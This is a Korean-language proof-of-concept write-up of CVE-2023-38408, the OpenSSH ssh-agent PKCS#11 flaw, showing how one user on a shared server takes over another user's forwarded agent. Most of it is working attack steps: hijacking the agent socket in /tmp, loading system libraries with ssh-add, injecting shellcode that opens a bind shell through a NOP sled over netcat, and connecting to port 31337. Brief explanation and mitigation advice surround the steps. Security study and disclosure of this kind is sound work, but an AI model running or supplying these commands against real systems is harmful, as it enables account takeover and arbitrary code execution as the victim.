
OpenSSH 계정 탈취
OpenSSH(9.3p2 버전 이전)에서 취약점이 발견되었습니다. OpenSSH의 ssh-agent에 있는 PKCS#11 기능은 검색 경로가 충분히 신뢰할 수 없어, 에이전트가 공격자가 제어하는 시스템으로 포워딩되는 경우 원격 코드 실행이 가능합니다(/usr/lib의 코드가 ssh-agent에 로드되기에 반드시 안전하지는 않음). 이 결함으로 인해 서버에서 포워딩된 에이전트 소켓을 제어하고 클라이언트 호스트의 파일 시스템에 쓰기 권한이 있는 공격자가 ssh-agent를 실행하는 사용자의 권한으로 임의 코드를 실행할 수 있습니다.
아래 예시에서는 alice 사용자를 탐색하여 손상시키는 단계를 간략히 관찰할 수 있습니다.
앞서 언급했듯이, 이 POC에서는 SSH를 통해 서버에 연결된 2명의 사용자를 사용합니다. 아래 단계를 따라가려면 두 사용자가 이미 서버(SSH)에 접근 권한이 있다고 가정합니다.
echo /tmp/ssh-*/agent.*
export SSH_AUTH_SOCK=/tmp/ssh-NqLP6il36s/agent.3452
ssh-add -s /usr/lib/systemd/boot/efi/linuxx64.elf.stub
SHELLCODE=$'\x48\x31\xc0\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x4d\x31\xc0\x6a\x02\x5f\x6a\x01\x5e\x6a\x06\x5a\x6a\x29\x58\x0f\x05\x49\x89\xc0\x4d\x31\xd2\x41\x52\x41\x52\xc6\x04\x24\x02\x66\xc7\x44\x24\x02\x7a\x69\x48\x89\xe6\x41\x50\x5f\x6a\x10\x5a\x6a\x31\x58\x0f\x05\x41\x50\x5f\x6a\x01\x5e\x6a\x32\x58\x0f\x05\x48\x89\xe6\x48\x31\xc9\xb1\x10\x51\x48\x89\xe2\x41\x50\x5f\x6a\x2b\x58\x0f\x05\x59\x4d\x31\xc9\x49\x89\xc1\x4c\x89\xcf\x48\x31\xf6\x6a\x03\x5e\x48\xff\xce\x6a\x21\x58\x0f\x05\x75\xf6\x48\x31\xff\x57\x57\x5e\x5a\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54\x5f\x6a\x3b\x58\x0f\x05'
(perl -e 'print "\0\0\x27\xbf\x14\0\0\0\x10/usr/lib/modules\0\0\x27\xa6" . "\x90" x 10000'; echo -n "$SHELLCODE") | nc -U "$SSH_AUTH_SOCK"
마지막으로, 셸코드가 에이전트 메모리에 성공적으로 배치되면 Ctrl-C를 눌러 netcat 전송을 중지합니다.
[!NOTE] SIGSEGV 트리거 💬
SIGSEGV는 잘못된 메모리 참조(세그멘테이션 폴트)가 발생할 때 컴퓨터 프로세스에 전달되는 신호입니다. SIGSEGV 신호를 수신하면 커널은 잘못된 메모리 접근이 발생했음을 인식하고 프로그램을 갑자기 종료하는 대신 사용자 정의 시그널 핸들러를 호출합니다. 이렇게 하여 공격자는 프로그램 실행을 조작하고 NOP 슬레드 내에 주입된 악성 코드로 유도할 기회를 잡습니다.
ssh-add -s /usr/lib/titan/libttcn3-rt2-dynamic.so
[Enter for passphrase]
ssh-add -s /usr/lib/x86_64-linux-gnu/libKF5SonnetUi.so.5.92.0
[Enter for passphrase]
ssh-add -s /usr/lib/x86_64-linux-gnu/libns3.35-wave.so.0.0.0
[Enter for passphrase]
nc localhost 31337
이 취약점은 주로 OpenSSH의 SSH-agent가 사용 중이고 에이전트 포워딩 기능이 활성화된 시스템에 영향을 미칩니다. OpenSSH에 의존하는 조직과 개인은 구성을 신속히 평가하여 잠재적 노출을 확인해야 합니다. 시스템이 언급된 조건을 충족하는 경우, CVE-2023-38408과 관련된 위험을 완화하기 위해 즉시 조치를 취하는 것이 중요합니다.